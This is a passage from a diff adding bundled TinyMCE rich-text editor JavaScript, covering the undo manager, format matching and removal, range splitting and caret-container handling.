+      if (!e.isDefaultPrevented()) {
+        editor.nodeChanged();
+      }
+    });
+    self = {
+      data: data,
+      typing: false,
+      beforeChange: function () {
+        if (isUnlocked()) {
+          beforeBookmark = $_ga29lf2jjjgwe7wh.getUndoBookmark(editor.selection);
+        }
+      },
+      add: function (level, event) {
+        var i;
+        var settings = editor.settings;
+        var lastLevel, currentLevel;
+        currentLevel = $_4qf2in5yjjgwe8ow.createFromEditor(editor);
+        level = level || {};
+        level = $_6cwiepljjgwe7j4.extend(level, currentLevel);
+        if (isUnlocked() === false || editor.removed) {
+          return null;
+        }
+        lastLevel = data[index];
+        if (editor.fire('BeforeAddUndo', {
+            level: level,
+            lastLevel: lastLevel,
+            originalEvent: event
+          }).isDefaultPrevented()) {
+          return null;
+        }
+        if (lastLevel && $_4qf2in5yjjgwe8ow.isEq(lastLevel, level)) {
+          return null;
+        }
+        if (data[index]) {
+          data[index].beforeBookmark = beforeBookmark;
+        }
+        if (settings.custom_undo_redo_levels) {
+          if (data.length > settings.custom_undo_redo_levels) {
+            for (i = 0; i < data.length - 1; i++) {
+              data[i] = data[i + 1];
+            }
+            data.length--;
+            index = data.length;
+          }
+        }
+        level.bookmark = $_ga29lf2jjjgwe7wh.getUndoBookmark(editor.selection);
+        if (index < data.length - 1) {
+          data.length = index + 1;
+        }
+        data.push(level);
+        index = data.length - 1;
+        var args = {
+          level: level,
+          lastLevel: lastLevel,
+          originalEvent: event
+        };
+        editor.fire('AddUndo', args);
+        if (index > 0) {
+          setDirty(true);
+          editor.fire('change', args);
+        }
+        return level;
+      },
+      undo: function () {
+        var level;
+        if (self.typing) {
+          self.add();
+          self.typing = false;
+          setTyping(false);
+        }
+        if (index > 0) {
+          level = data[--index];
+          $_4qf2in5yjjgwe8ow.applyToEditor(editor, level, true);
+          setDirty(true);
+          editor.fire('undo', { level: level });
+        }
+        return level;
+      },
+      redo: function () {
+        var level;
+        if (index < data.length - 1) {
+          level = data[++index];
+          $_4qf2in5yjjgwe8ow.applyToEditor(editor, level, false);
+          setDirty(true);
+          editor.fire('redo', { level: level });
+        }
+        return level;
+      },
+      clear: function () {
+        data = [];
+        index = 0;
+        self.typing = false;
+        self.data = data;
+        editor.fire('ClearUndos');
+      },
+      hasUndo: function () {
+        return index > 0 || self.typing && data[0] && !$_4qf2in5yjjgwe8ow.isEq($_4qf2in5yjjgwe8ow.createFromEditor(editor), data[0]);
+      },
+      hasRedo: function () {
+        return index < data.length - 1 && !self.typing;
+      },
+      transact: function (callback) {
+        endTyping();
+        self.beforeChange();
+        self.ignore(callback);
+        return self.add();
+      },
+      ignore: function (callback) {
+        try {
+          locks++;
+          callback();
+        } finally {
+          locks--;
+        }
+      },
+      extra: function (callback1, callback2) {
+        var lastLevel, bookmark;
+        if (self.transact(callback1)) {
+          bookmark = data[index].bookmark;
+          lastLevel = data[index - 1];
+          $_4qf2in5yjjgwe8ow.applyToEditor(editor, lastLevel, true);
+          if (self.transact(callback2)) {
+            data[index - 1].beforeBookmark = bookmark;
+          }
+        }
+      }
+    };
+    return self;
+  }
+
+  function Experimental (editor) {
+    var annotator = Annotator(editor);
+    var experimental = {};
+    Object.defineProperty(experimental, 'annotator', {
+      get: function () {
+        console.warn('Using experimental API: annotator');
+        return annotator;
+      }
+    });
+    return experimental;
+  }
+
+  var isEq$4 = $_4301413ajjgwe82g.isEq;
+  var matchesUnInheritedFormatSelector = function (ed, node, name) {
+    var formatList = ed.formatter.get(name);
+    if (formatList) {
+      for (var i = 0; i < formatList.length; i++) {
+        if (formatList[i].inherit === false && ed.dom.is(node, formatList[i].selector)) {
+          return true;
+        }
+      }
+    }
+    return false;
+  };
+  var matchParents = function (editor, node, name, vars) {
+    var root = editor.dom.getRoot();
+    if (node === root) {
+      return false;
+    }
+    node = editor.dom.getParent(node, function (node) {
+      if (matchesUnInheritedFormatSelector(editor, node, name)) {
+        return true;
+      }
+      return node.parentNode === root || !!matchNode(editor, node, name, vars, true);
+    });
+    return matchNode(editor, node, name, vars);
+  };
+  var matchName = function (dom, node, format) {
+    if (isEq$4(node, format.inline)) {
+      return true;
+    }
+    if (isEq$4(node, format.block)) {
+      return true;
+    }
+    if (format.selector) {
+      return node.nodeType === 1 && dom.is(node, format.selector);
+    }
+  };
+  var matchItems = function (dom, node, format, itemName, similar, vars) {
+    var key, value;
+    var items = format[itemName];
+    var i;
+    if (format.onmatch) {
+      return format.onmatch(node, format, itemName);
+    }
+    if (items) {
+      if (typeof items.length === 'undefined') {
+        for (key in items) {
+          if (items.hasOwnProperty(key)) {
+            if (itemName === 'attributes') {
+              value = dom.getAttrib(node, key);
+            } else {
+              value = $_4301413ajjgwe82g.getStyle(dom, node, key);
+            }
+            if (similar && !value && !format.exact) {
+              return;
+            }
+            if ((!similar || format.exact) && !isEq$4(value, $_4301413ajjgwe82g.normalizeStyleValue(dom, $_4301413ajjgwe82g.replaceVars(items[key], vars), key))) {
+              return;
+            }
+          }
+        }
+      } else {
+        for (i = 0; i < items.length; i++) {
+          if (itemName === 'attributes' ? dom.getAttrib(node, items[i]) : $_4301413ajjgwe82g.getStyle(dom, node, items[i])) {
+            return format;
+          }
+        }
+      }
+    }
+    return format;
+  };
+  var matchNode = function (ed, node, name, vars, similar) {
+    var formatList = ed.formatter.get(name);
+    var format, i, x, classes;
+    var dom = ed.dom;
+    if (formatList && node) {
+      for (i = 0; i < formatList.length; i++) {
+        format = formatList[i];
+        if (matchName(ed.dom, node, format) && matchItems(dom, node, format, 'attributes', similar, vars) && matchItems(dom, node, format, 'styles', similar, vars)) {
+          if (classes = format.classes) {
+            for (x = 0; x < classes.length; x++) {
+              if (!ed.dom.hasClass(node, classes[x])) {
+                return;
+              }
+            }
+          }
+          return format;
+        }
+      }
+    }
+  };
+  var match = function (editor, name, vars, node) {
+    var startNode;
+    if (node) {
+      return matchParents(editor, node, name, vars);
+    }
+    node = editor.selection.getNode();
+    if (matchParents(editor, node, name, vars)) {
+      return true;
+    }
+    startNode = editor.selection.getStart();
+    if (startNode !== node) {
+      if (matchParents(editor, startNode, name, vars)) {
+        return true;
+      }
+    }
+    return false;
+  };
+  var matchAll = function (editor, names, vars) {
+    var startElement;
+    var matchedFormatNames = [];
+    var checkedMap = {};
+    startElement = editor.selection.getStart();
+    editor.dom.getParent(startElement, function (node) {
+      var i, name;
+      for (i = 0; i < names.length; i++) {
+        name = names[i];
+        if (!checkedMap[name] && matchNode(editor, node, name, vars)) {
+          checkedMap[name] = true;
+          matchedFormatNames.push(name);
+        }
+      }
+    }, editor.dom.getRoot());
+    return matchedFormatNames;
+  };
+  var canApply = function (editor, name) {
+    var formatList = editor.formatter.get(name);
+    var startNode, parents, i, x, selector;
+    var dom = editor.dom;
+    if (formatList) {
+      startNode = editor.selection.getStart();
+      parents = $_4301413ajjgwe82g.getParents(dom, startNode);
+      for (x = formatList.length - 1; x >= 0; x--) {
+        selector = formatList[x].selector;
+        if (!selector || formatList[x].defaultBlock) {
+          return true;
+        }
+        for (i = parents.length - 1; i >= 0; i--) {
+          if (dom.is(parents[i], selector)) {
+            return true;
+          }
+        }
+      }
+    }
+    return false;
+  };
+  var $_7svyif69jjgwe8rf = {
+    matchNode: matchNode,
+    matchName: matchName,
+    match: match,
+    matchAll: matchAll,
+    canApply: canApply,
+    matchesUnInheritedFormatSelector: matchesUnInheritedFormatSelector
+  };
+
+  var splitText = function (node, offset) {
+    return node.splitText(offset);
+  };
+  var split$1 = function (rng) {
+    var startContainer = rng.startContainer, startOffset = rng.startOffset, endContainer = rng.endContainer, endOffset = rng.endOffset;
+    if (startContainer === endContainer && $_3b9u2y1rjjgwe7qe.isText(startContainer)) {
+      if (startOffset > 0 && startOffset < startContainer.nodeValue.length) {
+        endContainer = splitText(startContainer, startOffset);
+        startContainer = endContainer.previousSibling;
+        if (endOffset > startOffset) {
+          endOffset = endOffset - startOffset;
+          startContainer = endContainer = splitText(endContainer, endOffset).previousSibling;
+          endOffset = endContainer.nodeValue.length;
+          startOffset = 0;
+        } else {
+          endOffset = 0;
+        }
+      }
+    } else {
+      if ($_3b9u2y1rjjgwe7qe.isText(startContainer) && startOffset > 0 && startOffset < startContainer.nodeValue.length) {
+        startContainer = splitText(startContainer, startOffset);
+        startOffset = 0;
+      }
+      if ($_3b9u2y1rjjgwe7qe.isText(endContainer) && endOffset > 0 && endOffset < endContainer.nodeValue.length) {
+        endContainer = splitText(endContainer, endOffset).previousSibling;
+        endOffset = endContainer.nodeValue.length;
+      }
+    }
+    return {
+      startContainer: startContainer,
+      startOffset: startOffset,
+      endContainer: endContainer,
+      endOffset: endOffset
+    };
+  };
+  var $_10670d6ajjgwe8rj = { split: split$1 };
+
+  var ZWSP$1 = $_2xw7ul2pjjgwe7xs.ZWSP;
+  var CARET_ID$1 = '_mce_caret';
+  var importNode = function (ownerDocument, node) {
+    return ownerDocument.importNode(node, true);
+  };
+  var getEmptyCaretContainers = function (node) {
+    var nodes = [];
+    while (node) {
+      if (node.nodeType === 3 && node.nodeValue !== ZWSP$1 || node.childNodes.length > 1) {
+        return [];
+      }
+      if (node.nodeType === 1) {
+        nodes.push(node);
+      }
+      node = node.firstChild;
+    }
+    return nodes;
+  };
+  var isCaretContainerEmpty = function (node) {
+    return getEmptyCaretContainers(node).length > 0;
+  };
+  var findFirstTextNode = function (node) {
+    var walker;
+    if (node) {
+      walker = new TreeWalker(node, node);
+      for (node = walker.current(); node; node = walker.next()) {
+        if (node.nodeType === 3) {
+          return node;
+        }
+      }
+    }
+    return null;
+  };
+  var createCaretContainer = function (fill) {
+    var caretContainer = Element$$1.fromTag('span');
+    $_etx7gr15jjgwe7mr.setAll(caretContainer, {
+      'id': CARET_ID$1,
+      'data-mce-bogus': '1',
+      'data-mce-type': 'format-caret'
+    });
+    if (fill) {
+      $_ewo3u51yjjgwe7su.append(caretContainer, Element$$1.fromText(ZWSP$1));
+    }
+    return caretContainer;
+  };
+  var trimZwspFromCaretContainer = function (caretContainerNode) {
+    var textNode = findFirstTextNode(caretContainerNode);
+    if (textNode && textNode.nodeValue.charAt(0) === ZWSP$1) {
+      textNode.deleteData(0, 1);
+    }
+    return textNode;
+  };
+  var removeCaretContainerNode = function (dom, selection, node, moveCaret) {
+    var rng, block, textNode;
+    rng = selection.getRng(true);
+    block = dom.getParent(node, dom.isBlock);
+    if (isCaretContainerEmpty(node)) {
+      if (moveCaret !== false) {
+        rng.setStartBefore(node);
+        rng.setEndBefore(node);
+      }
+      dom.remove(node);
+    } else {
+      textNode = trimZwspFromCaretContainer(node);
+      if (rng.startContainer === textNode && rng.startOffset > 0) {
+        rng.setStart(textNode, rng.startOffset - 1);
+      }
+      if (rng.endContainer === textNode && rng.endOffset > 0) {
+        rng.setEnd(textNode, rng.endOffset - 1);
+      }
+      dom.remove(node, true);
+    }
+    if (block && dom.isEmpty(block)) {
+      $_fhp7pa3ljjgwe84n.fillWithPaddingBr(Element$$1.fromDom(block));
+    }
+    selection.setRng(rng);
+  };
+  var removeCaretContainer = function (body, dom, selection, node, moveCaret) {
+    if (!node) {
+      node = getParentCaretContainer(body, selection.getStart());
+      if (!node) {
+        while (node = dom.get(CARET_ID$1)) {
+          removeCaretContainerNode(dom, selection, node, false);
+        }
+      }
+    } else {
+      removeCaretContainerNode(dom, selection, node, moveCaret);
+    }
+  };
+  var insertCaretContainerNode = function (editor, caretContainer, formatNode) {
+    var dom = editor.dom, block = dom.getParent(formatNode, $_4127e12ljjgwe7ww.curry($_4301413ajjgwe82g.isTextBlock, editor));
+    if (block && dom.isEmpty(block)) {
+      formatNode.parentNode.replaceChild(caretContainer, formatNode);
+    } else {
+      $_fhp7pa3ljjgwe84n.removeTrailingBr(Element$$1.fromDom(formatNode));
+      if (dom.isEmpty(formatNode)) {
+        formatNode.parentNode.replaceChild(caretContainer, formatNode);
+      } else {
+        dom.insertAfter(caretContainer, formatNode);
+      }
+    }
+  };
+  var appendNode = function (parentNode, node) {
+    parentNode.appendChild(node);
+    return node;
+  };
+  var insertFormatNodesIntoCaretContainer = function (formatNodes, caretContainer) {
+    var innerMostFormatNode = foldr(formatNodes, function (parentNode, formatNode) {
+      return appendNode(parentNode, formatNode.cloneNode(false));
+    }, caretContainer);
+    return appendNode(innerMostFormatNode, innerMostFormatNode.ownerDocument.createTextNode(ZWSP$1));
+  };
+  var applyCaretFormat = function (editor, name, vars) {
+    var rng, caretContainer, textNode, offset, bookmark, container, text;
+    var selection = editor.selection;
+    rng = selection.getRng(true);
+    offset = rng.startOffset;
+    container = rng.startContainer;
+    text = container.nodeValue;
+    caretContainer = getParentCaretContainer(editor.getBody(), selection.getStart());
+    if (caretContainer) {
+      textNode = findFirstTextNode(caretContainer);
+    }
+    var wordcharRegex = /[^\s\u00a0\u00ad\u200b\ufeff]/;
+    if (text && offset > 0 && offset < text.length && wordcharRegex.test(text.charAt(offset)) && wordcharRegex.test(text.charAt(offset - 1))) {
+      bookmark = selection.getBookmark();
+      rng.collapse(true);
+      rng = $_1f06hv2ujjgwe7y7.expandRng(editor, rng, editor.formatter.get(name));
+      rng = $_10670d6ajjgwe8rj.split(rng);
+      editor.formatter.apply(name, vars, rng);
+      selection.moveToBookmark(bookmark);
+    } else {
+      if (!caretContainer || textNode.nodeValue !== ZWSP$1) {
+        caretContainer = importNode(editor.getDoc(), createCaretContainer(true).dom());
+        textNode = caretContainer.firstChild;
+        rng.insertNode(caretContainer);
+        offset = 1;
+        editor.formatter.apply(name, vars, caretContainer);
+      } else {
+        editor.formatter.apply(name, vars, caretContainer);
+      }
+      selection.setCursorLocation(textNode, offset);
+    }
+  };
+  var removeCaretFormat = function (editor, name, vars, similar) {
+    var dom = editor.dom, selection = editor.selection;
+    var container, offset, bookmark;
+    var hasContentAfter, node, formatNode;
+    var parents = [], rng = selection.getRng();
+    var caretContainer;
+    container = rng.startContainer;
+    offset = rng.startOffset;
+    node = container;
+    if (container.nodeType === 3) {
+      if (offset !== container.nodeValue.length) {
+        hasContentAfter = true;
+      }
+      node = node.parentNode;
+    }
+    while (node) {
+      if ($_7svyif69jjgwe8rf.matchNode(editor, node, name, vars, similar)) {
+        formatNode = node;
+        break;
+      }
+      if (node.nextSibling) {
+        hasContentAfter = true;
+      }
+      parents.push(node);
+      node = node.parentNode;
+    }
+    if (!formatNode) {
+      return;
+    }
+    if (hasContentAfter) {
+      bookmark = selection.getBookmark();
+      rng.collapse(true);
+      var expandedRng = $_1f06hv2ujjgwe7y7.expandRng(editor, rng, editor.formatter.get(name), true);
+      expandedRng = $_10670d6ajjgwe8rj.split(expandedRng);
+      editor.formatter.remove(name, vars, expandedRng);
+      selection.moveToBookmark(bookmark);
+    } else {
+      caretContainer = getParentCaretContainer(editor.getBody(), formatNode);
+      var newCaretContainer = createCaretContainer(false).dom();
+      var caretNode = insertFormatNodesIntoCaretContainer(parents, newCaretContainer);
+      if (caretContainer) {
+        insertCaretContainerNode(editor, newCaretContainer, caretContainer);
+      } else {
+        insertCaretContainerNode(editor, newCaretContainer, formatNode);
+      }
+      removeCaretContainerNode(dom, selection, caretContainer, false);
+      selection.setCursorLocation(caretNode, 1);
+      if (dom.isEmpty(formatNode)) {
+        dom.remove(formatNode);
+      }
+    }
+  };
+  var disableCaretContainer = function (body, dom, selection, keyCode) {
+    removeCaretContainer(body, dom, selection, null, false);
+    if (keyCode === 8 && selection.isCollapsed() && selection.getStart().innerHTML === ZWSP$1) {
+      removeCaretContainer(body, dom, selection, getParentCaretContainer(body, selection.getStart()));
+    }
+    if (keyCode === 37 || keyCode === 39) {
+      removeCaretContainer(body, dom, selection, getParentCaretContainer(body, selection.getStart()));
+    }
+  };
+  var setup$4 = function (editor) {
+    var dom = editor.dom, selection = editor.selection;
+    var body = editor.getBody();
+    editor.on('mouseup keydown', function (e) {
+      disableCaretContainer(body, dom, selection, e.keyCode);
+    });
+  };
+  var replaceWithCaretFormat = function (targetNode, formatNodes) {
+    var caretContainer = createCaretContainer(false);
+    var innerMost = insertFormatNodesIntoCaretContainer(formatNodes, caretContainer.dom());
+    $_ewo3u51yjjgwe7su.before(Element$$1.fromDom(targetNode), caretContainer);
+    $_81exq51wjjgwe7sm.remove(Element$$1.fromDom(targetNode));
+    return CaretPosition$1(innerMost, 0);
+  };
+  var isFormatElement = function (editor, element) {
+    var inlineElements = editor.schema.getTextInlineElements();
+    return inlineElements.hasOwnProperty($_fxxo5411jjgwe7lq.name(element)) && !isCaretNode(element.dom()) && !$_3b9u2y1rjjgwe7qe.isBogus(element.dom());
+  };
+
+  var postProcessHooks = {};
+  var filter$2 = $_6t4axrmjjgwe7jf.filter;
+  var each$12 = $_6t4axrmjjgwe7jf.each;
+  var addPostProcessHook = function (name, hook) {
+    var hooks = postProcessHooks[name];
+    if (!hooks) {
+      postProcessHooks[name] = hooks = [];
+    }
+    postProcessHooks[name].push(hook);
+  };
+  var postProcess = function (name, editor) {
+    each$12(postProcessHooks[name], function (hook) {
+      hook(editor);
+    });
+  };
+  addPostProcessHook('pre', function (editor) {
+    var rng = editor.selection.getRng();
+    var isPre, blocks;
+    var hasPreSibling = function (pre) {
+      return isPre(pre.previousSibling) && $_6t4axrmjjgwe7jf.indexOf(blocks, pre.previousSibling) !== -1;
+    };
+    var joinPre = function (pre1, pre2) {
+      DomQuery(pre2).remove();
+      DomQuery(pre1).append('<br><br>').append(pre2.childNodes);
+    };
+    isPre = $_3b9u2y1rjjgwe7qe.matchNodeNames('pre');
+    if (!rng.collapsed) {
+      blocks = editor.selection.getSelectedBlocks();
+      each$12(filter$2(filter$2(blocks, isPre), hasPreSibling), function (pre) {
+        joinPre(pre.previousSibling, pre);
+      });
+    }
+  });
+  var $_49rwy16bjjgwe8rl = { postProcess: postProcess };
+
+  var MCE_ATTR_RE = /^(src|href|style)$/;
+  var each$13 = $_6cwiepljjgwe7j4.each;
+  var isEq$5 = $_4301413ajjgwe82g.isEq;
+  var isTableCell$4 = function (node) {
+    return /^(TH|TD)$/.test(node.nodeName);
+  };
+  var getContainer = function (ed, rng, start) {
+    var container, offset, lastIdx;
+    container = rng[start ? 'startContainer' : 'endContainer'];
+    offset = rng[start ? 'startOffset' : 'endOffset'];
+    if ($_3b9u2y1rjjgwe7qe.isElement(container)) {
+      lastIdx = container.childNodes.length - 1;
+      if (!start && offset) {
+        offset--;
+      }
+      container = container.childNodes[offset > lastIdx ? lastIdx : offset];
+    }
+    if ($_3b9u2y1rjjgwe7qe.isText(container) && start && offset >= container.nodeValue.length) {
+      container = new TreeWalker(container, ed.getBody()).next() || container;
+    }
+    if ($_3b9u2y1rjjgwe7qe.isText(container) && !start && offset === 0) {
+      container = new TreeWalker(container, ed.getBody()).prev() || container;
+    }
+    return container;
+  };
+  var wrap$2 = function (dom, node, name, attrs) {
+    var wrapper = dom.create(name, attrs);
+    node.parentNode.insertBefore(wrapper, node);
+    wrapper.appendChild(node);
+    return wrapper;
+  };
+  var matchName$1 = function (dom, node, format) {
+    if (isEq$5(node, format.inline)) {
+      return true;
+    }
+    if (isEq$5(node, format.block)) {
+      return true;
+    }
+    if (format.selector) {
+      return $_3b9u2y1rjjgwe7qe.isElement(node) && dom.is(node, format.selector);
+    }
+  };
+  var isColorFormatAndAnchor = function (node, format) {
+    return format.links && node.tagName === 'A';
+  };
+  var find$4 = function (dom, node, next, inc) {
+    node = $_4301413ajjgwe82g.getNonWhiteSpaceSibling(node, next, inc);
+    return !node || (node.nodeName === 'BR' || dom.isBlock(node));
+  };
+  var removeNode$1 = function (ed, node, format) {
+    var parentNode = node.parentNode;
+    var rootBlockElm;
+    var dom = ed.dom, forcedRootBlock = ed.settings.forced_root_block;
+    if (format.block) {
+      if (!forcedRootBlock) {
+        if (dom.isBlock(node) && !dom.isBlock(parentNode)) {
+          if (!find$4(dom, node, false) && !find$4(dom, node.firstChild, true, 1)) {
+            node.insertBefore(dom.create('br'), node.firstChild);
+          }
+          if (!find$4(dom, node, true) && !find$4(dom, node.lastChild, false, 1)) {
+            node.appendChild(dom.create('br'));
+          }
+        }
+      } else {
+        if (parentNode === dom.getRoot()) {
+          if (!format.list_block || !isEq$5(node, format.list_block)) {
+            each$13($_6cwiepljjgwe7j4.grep(node.childNodes), function (node) {
+              if ($_4301413ajjgwe82g.isValid(ed, forcedRootBlock, node.nodeName.toLowerCase())) {
+                if (!rootBlockElm) {
+                  rootBlockElm = wrap$2(dom, node, forcedRootBlock);
+                  dom.setAttribs(rootBlockElm, ed.settings.forced_root_block_attrs);
+                } else {
+                  rootBlockElm.appendChild(node);
+                }
+              } else {
+                rootBlockElm = 0;
+              }
+            });
+          }
+        }
+      }
+    }
+    if (format.selector && format.inline && !isEq$5(format.inline, node)) {
+      return;
+    }
+    dom.remove(node, 1);
+  };
+  var removeFormat = function (ed, format, vars, node, compareNode) {
+    var i, attrs, stylesModified;
+    var dom = ed.dom;
+    if (!matchName$1(dom, node, format) && !isColorFormatAndAnchor(node, format)) {
+      return false;
+    }
+    if (format.remove !== 'all') {
+      each$13(format.styles, function (value, name) {
+        value = $_4301413ajjgwe82g.normalizeStyleValue(dom, $_4301413ajjgwe82g.replaceVars(value, vars), name);
+        if (typeof name === 'number') {
+          name = value;
+          compareNode = 0;
+        }
+        if (format.remove_similar || (!compareNode || isEq$5($_4301413ajjgwe82g.getStyle(dom, compareNode, name), value))) {
+          dom.setStyle(node, name, '');
+        }
+        stylesModified = 1;
+      });
+      if (stylesModified && dom.getAttrib(node, 'style') === '') {
+        node.removeAttribute('style');
+        node.removeAttribute('data-mce-style');
+      }
+      each$13(format.attributes, function (value, name) {
+        var valueOut;
+        value = $_4301413ajjgwe82g.replaceVars(value, vars);
+        if (typeof name === 'number') {
+          name = value;
+          compareNode = 0;
+        }
+        if (!compareNode || isEq$5(dom.getAttrib(compareNode, name), value)) {
+          if (name === 'class') {
+            value = dom.getAttrib(node, name);
+            if (value) {
+              valueOut = '';
+              each$13(value.split(/\s+/), function (cls) {
+                if (/mce\-\w+/.test(cls)) {
+                  valueOut += (valueOut ? ' ' : '') + cls;
+                }
+              });
+              if (valueOut) {
+                dom.setAttrib(node, name, valueOut);
+                return;
+              }
+            }
+          }
+          if (name === 'class') {
+            node.removeAttribute('className');
+          }
+          if (MCE_ATTR_RE.test(name)) {
+            node.removeAttribute('data-mce-' + name);
+          }
+          node.removeAttribute(name);
+        }
+      });
+      each$13(format.classes, function (value) {
+        value = $_4301413ajjgwe82g.replaceVars(value, vars);
+        if (!compareNode || dom.hasClass(compareNode, value)) {
+          dom.removeClass(node, value);
+        }
+      });
+      attrs = dom.getAttribs(node);
+      for (i = 0; i < attrs.length; i++) {
+        var attrName = attrs[i].nodeName;
+        if (attrName.indexOf('_') !== 0 && attrName.indexOf('data-') !== 0) {
+          return false;
+        }
+      }
+    }
+    if (format.remove !== 'none') {
+      removeNode$1(ed, node, format);
+      return true;
+    }
+  };
+  var findFormatRoot = function (editor, container, name, vars, similar) {
+    var formatRoot;
+    each$13($_4301413ajjgwe82g.getParents(editor.dom, container.parentNode).reverse(), function (parent) {
+      var format;
+      if (!formatRoot && parent.id !== '_start' && parent.id !== '_end') {
+        format = $_7svyif69jjgwe8rf.matchNode(editor, parent, name, vars, similar);
+        if (format && format.split !== false) {
+          formatRoot = parent;
+        }
+      }
+    });
+    return formatRoot;
+  };
+  var wrapAndSplit = function (editor, formatList, formatRoot, container, target, split, format, vars) {
+    var parent, clone, lastClone, firstClone, i, formatRootParent;
+    var dom = editor.dom;
+    if (formatRoot) {
+      formatRootParent = formatRoot.parentNode;
+      for (parent = container.parentNode; parent && parent !== formatRootParent; parent = parent.parentNode) {
+        clone = dom.clone(parent, false);
+        for (i = 0; i < formatList.length; i++) {
+          if (removeFormat(editor, formatList[i], vars, clone, clone)) {
+            clone = 0;
+            break;
+          }
+        }
+        if (clone) {
+          if (lastClone) {
+            clone.appendChild(lastClone);
+          }
+          if (!firstClone) {
+            firstClone = clone;
+          }
+          lastClone = clone;
+        }
+      }
+      if (split && (!format.mixed || !dom.isBlock(formatRoot))) {
+        container = dom.split(formatRoot, container);
+      }
+      if (lastClone) {
+        target.parentNode.insertBefore(lastClone, target);
+        firstClone.appendChild(target);
+      }
+    }
+    return container;
+  };
+  var remove$8 = function (ed, name, vars, node, similar) {
+    var formatList = ed.formatter.get(name), format = formatList[0];
+    var bookmark, rng, contentEditable = true;
+    var dom = ed.dom;
+    var selection = ed.selection;
+    var splitToFormatRoot = function (container) {
+      var formatRoot = findFormatRoot(ed, container, name, vars, similar);
+      return wrapAndSplit(ed, formatList, formatRoot, container, container, true, format, vars);
+    };
+    var process = function (node) {
+      var children, i, l, lastContentEditable, hasContentEditableState;
+      if ($_3b9u2y1rjjgwe7qe.isElement(node) && dom.getContentEditable(node)) {
+        lastContentEditable = contentEditable;
+        contentEditable = dom.getContentEditable(node) === 'true';
+        hasContentEditableState = true;
+      }
+      children = $_6cwiepljjgwe7j4.grep(node.childNodes);
+      if (contentEditable && !hasContentEditableState) {
+        for (i = 0, l = formatList.length; i < l; i++) {
+          if (removeFormat(ed, formatList[i], vars, node, node)) {
+            break;
+          }
+        }
+      }
+      if (format.deep) {
+        if (children.length) {
+          for (i = 0, l = children.length; i < l; i++) {
+            process(children[i]);
+          }
+          if (hasContentEditableState) {
+            contentEditable = lastContentEditable;
+          }
+        }
+      }
+    };
+    var unwrap = function (start) {
+      var node = dom.get(start ? '_start' : '_end');
+      var out = node[start ? 'firstChild' : 'lastChild'];
+      if ($_6refgt2vjjgwe7yn.isBookmarkNode(out)) {
+        out = out[start ? 'firstChild' : 'lastChild'];
+      }
+      if ($_3b9u2y1rjjgwe7qe.isText(out) && out.data.length === 0) {
+        out = start ? node.previousSibling || node.nextSibling : node.nextSibling || node.previousSibling;
+      }
+      dom.remove(node, true);
+      return out;
+    };
+    var removeRngStyle = function (rng) {
+      var startContainer, endContainer;
+      var commonAncestorContainer = rng.commonAncestorContainer;
+      rng = $_1f06hv2ujjgwe7y7.expandRng(ed, rng, formatList, true);
+      if (format.split) {
+        startContainer = getContainer(ed, rng, true);
+        endContainer = getContainer(ed, rng);
+        if (startContainer !== endContainer) {
+          if (/^(TR|TH|TD)$/.test(startContainer.nodeName) && startContainer.firstChild) {
+            if (startContainer.nodeName === 'TR') {
+              startContainer = startContainer.firstChild.firstChild || startContainer;
+            } else {
+              startContainer = startContainer.firstChild || startContainer;
+            }
+          }
+          if (commonAncestorContainer && /^T(HEAD|BODY|FOOT|R)$/.test(commonAncestorContainer.nodeName) && isTableCell$4(endContainer) && endContainer.firstChild) {
+            endContainer = endContainer.firstChild || endContainer;
+          }
+          if (dom.isChildOf(startContainer, endContainer) && startContainer !== endContainer && !dom.isBlock(endContainer) && !isTableCell$4(startContainer) && !isTableCell$4(endContainer)) {
+            startContainer = wrap$2(dom, startContainer, 'span', {
+              'id': '_start',
+              'data-mce-type': 'bookmark'
+            });
+            splitToFormatRoot(startContainer);
+            startContainer = unwrap(true);
+            return;
+          }
+          startContainer = wrap$2(dom, startContainer, 'span', {
+            'id': '_start',
+            'data-mce-type': 'bookmark'
+          });
+          endContainer = wrap$2(dom, endContainer, 'span', {
+            'id': '_end',
+            'data-mce-type': 'bookmark'
+          });
+          splitToFormatRoot(startContainer);
+          splitToFormatRoot(endContainer);
+          startContainer = unwrap(true);
+          endContainer = unwrap();
+        } else {
+          startContainer = endContainer = splitToFormatRoot(startContainer);
+        }
+        rng.startContainer = startContainer.parentNode ? startContainer.parentNode : startContainer;
+        rng.startOffset = dom.nodeIndex(startContainer);
+        rng.endContainer = endContainer.parentNode ? endContainer.parentNode : endContainer;
+        rng.endOffset = dom.nodeIndex(endContainer) + 1;
+      }
+      $_e2gzn43bjjgwe82k.walk(dom, rng, function (nodes) {
+        each$13(nodes, function (node) {
+          process(node);
+          if ($_3b9u2y1rjjgwe7qe.isElement(node) && ed.dom.getStyle(node, 'text-decoration') === 'underline' && node.parentNode && $_4301413ajjgwe82g.getTextDecoration(dom, node.parentNode) === 'underline') {
+            removeFormat(ed, {
+              deep: false,
+              exact: true,
+              inline: 'span',
+              styles: { textDecoration: 'underline' }
+            }, null, node);
+          }
+        });
+      });
+    };
+    if (node) {
+      if (node.nodeType) {
+        rng = dom.createRng();
+        rng.setStartBefore(node);
+        rng.setEndAfter(node);
+        removeRngStyle(rng);
+      } else {
+        removeRngStyle(node);
+      }
+      return;
+    }
+    if (dom.getContentEditable(selection.getNode()) === 'false') {
+      node = selection.getNode();
+      for (var i = 0, l = formatList.length; i < l; i++) {
+        if (formatList[i].ceFalseOverride) {
+          if (removeFormat(ed, formatList[i], vars, node, node)) {
+            break;
+          }
+        }
+      }
+      return;
+    }
+    if (!selection.isCollapsed() || !format.inline || dom.select('td[data-mce-selected],th[data-mce-selected]').length) {
+      bookmark = $_ga29lf2jjjgwe7wh.getPersistentBookmark(ed.selection, true);
+      removeRngStyle(selection.getRng());
+      selection.moveToBookmark(bookmark);
+      if (format.inline && $_7svyif69jjgwe8rf.match(ed, name, vars, selection.getStart())) {
+        $_4301413ajjgwe82g.moveStart(dom, selection, selection.getRng());
+      }
+      ed.nodeChanged();
+    } else {
+      removeCaretFormat(ed, name, vars, similar);
+    }
+  };
+  var $_y6kng6djjgwe8ry = {
+    removeFormat: removeFormat,
+    remove: remove$8
+  };
+
+  var each$14 = $_6cwiepljjgwe7j4.each;
+  var isElementNode = function (node) {
+    return node && node.nodeType === 1 && !$_6refgt2vjjgwe7yn.isBookmarkNode(node) && !isCaretNode(node) && !$_3b9u2y1rjjgwe7qe.isBogus(node);
+  };
+  var findElementSibling = function (node, siblingName) {
+    var sibling;
+    for (sibling = node; sibling; sibling = sibling[siblingName]) {
+      if (sibling.nodeType === 3 && sibling.nodeValue.length !== 0) {
+        return node;
+      }
